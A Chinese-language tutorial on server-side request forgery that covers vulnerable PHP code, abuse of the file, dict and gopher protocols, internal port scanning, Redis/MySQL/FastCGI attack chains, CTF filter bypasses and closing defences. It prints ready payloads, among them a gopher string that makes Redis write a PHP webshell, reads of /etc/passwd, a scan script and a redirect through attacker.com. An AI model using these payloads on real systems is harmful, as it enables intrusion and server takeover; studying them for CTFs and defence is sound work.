
1. SSRF漏洞基础解析SSRFServer-Side Request Forgery是一种由攻击者构造恶意请求由服务端发起请求的安全漏洞。简单来说就是让服务器帮你发送一个它本不应该发送的请求。这种漏洞的危害性在于攻击者可以利用服务器作为跳板访问内部系统或执行未授权操作。漏洞产生的根本原因是服务端提供了从其他服务器应用获取数据的功能但没有对目标地址做严格过滤和限制。比如从指定URL获取网页文本内容、加载指定地址的图片文档等。常见的危险函数包括file_get_contents()fsockopen()curl_exec()举个例子假设有以下PHP代码?php $url $_GET[url]; echo file_get_contents($url); ?这段代码本意是让用户查看指定URL的内容但如果攻击者传入file:///etc/passwd就能读取服务器本地文件。更危险的是如果传入http://192.168.1.1:8080就可能探测内网服务。2. 协议利用实战技巧2.1 File协议读取本地文件File协议是SSRF攻击中最直接的利用方式。通过file://协议可以直接读取服务器本地文件系统file:///etc/passwd file:///var/www/html/config.php在CTF中常用这个协议读取flag文件。实际渗透测试时可以用来获取配置文件、日志文件等敏感信息。绕过技巧使用多个斜杠file://///etc/passwdURL编码file:%2f%2f%2fetc%2fpasswd使用..目录穿越file:///var/www/../../etc/passwd2.2 Dict协议探测服务信息Dict协议设计用于字典服务查询但在SSRF中可以用来探测端口和服务信息dict://127.0.0.1:6379/info # 探测Redis服务 dict://192.168.1.1:80/ # 探测HTTP服务这个协议的优点是响应速度快能快速判断端口是否开放。我在实际测试中发现它对Redis、Memcached等服务的探测特别有效。2.3 Gopher协议高级利用Gopher协议是SSRF中最强大的武器它支持构造任意TCP数据流。通过Gopher可以攻击Redis服务执行命令攻击MySQL进行未授权访问攻击FastCGI执行系统命令一个攻击Redis的示例Payloadgopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2410%0D%0A?php phpinfo();?%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A这个Payload会向Redis发送多条命令最终在web目录写入一个PHP shell。3. 内网渗透实战路径3.1 内网端口扫描利用SSRF进行内网扫描是常见手法。通过构造不同的URL可以探测内网开放的端口和服务import requests ports [80, 443, 8080, 6379, 3306] for port in ports: try: url fhttp://vulnerable.com/ssrf.php?urlhttp://192.168.1.1:{port} response requests.get(url, timeout3) print(fPort {port} is open) except: print(fPort {port} is closed)优化技巧根据响应时间判断端口状态开放端口通常响应更快先扫描常见端口再扩展范围结合Banner信息识别服务类型3.2 服务指纹识别不同服务对请求的响应特征不同可以通过分析响应内容识别服务Redis返回-ERR wrong number of arguments for get commandMySQL返回Bad handshake或版本信息Memcached返回ERROR或STORED等关键字3.3 攻击内网服务识别出内网服务后可以针对特定服务构造攻击Redis攻击链写入Webshell写SSH公钥主从复制RCEMySQL攻击链利用弱口令/空口令登录执行SELECT ... INTO OUTFILE写入Webshell利用UDF执行系统命令FastCGI攻击链构造恶意FastCGI请求修改PHP配置允许远程文件包含通过php://input执行代码4. CTF中的绕过技巧4.1 IP编码绕过当过滤器拦截127.0.0.1等关键词时可以尝试八进制0177.0.0.1十六进制0x7f.0x0.0x0.0x1十进制整数2130706433省略0127.1特殊域名localhost、localtest.me4.2 302跳转绕过通过控制一个外部服务器返回302跳转可以绕过IP限制?php header(Location: http://127.0.0.1:8080/admin); ?然后请求http://vulnerable.com/ssrf.php?urlhttp://attacker.com/redirect.php4.3 DNS重绑定利用DNS解析时间差使第一次解析返回合法IP第二次返回127.0.0.1设置TTL很短的DNS记录交替返回两个IP服务器第一次请求时解析到外部IP服务器第二次请求时解析到127.0.0.15. 防御方案与实践5.1 输入过滤使用白名单限制协议只允许http/https过滤私有IP段10.0.0.0/8、172.16.0.0/12、192.168.0.0/16禁用危险协议file、dict、gopher等5.2 网络隔离关键内网服务设置防火墙规则服务间通信使用双向认证限制服务器出站流量5.3 安全配置关闭不必要的服务服务使用认证机制定期更新补丁在实际项目中我遇到过一个案例某系统允许通过URL预览网页内容但未做任何过滤。通过SSRF我们不仅读取了本地文件还利用内网Redis未授权访问拿下了整个服务器集群。这个案例充分说明了SSRF的危害性。防御SSRF需要开发、运维、安全多方协作从代码、架构、网络多个层面进行防护。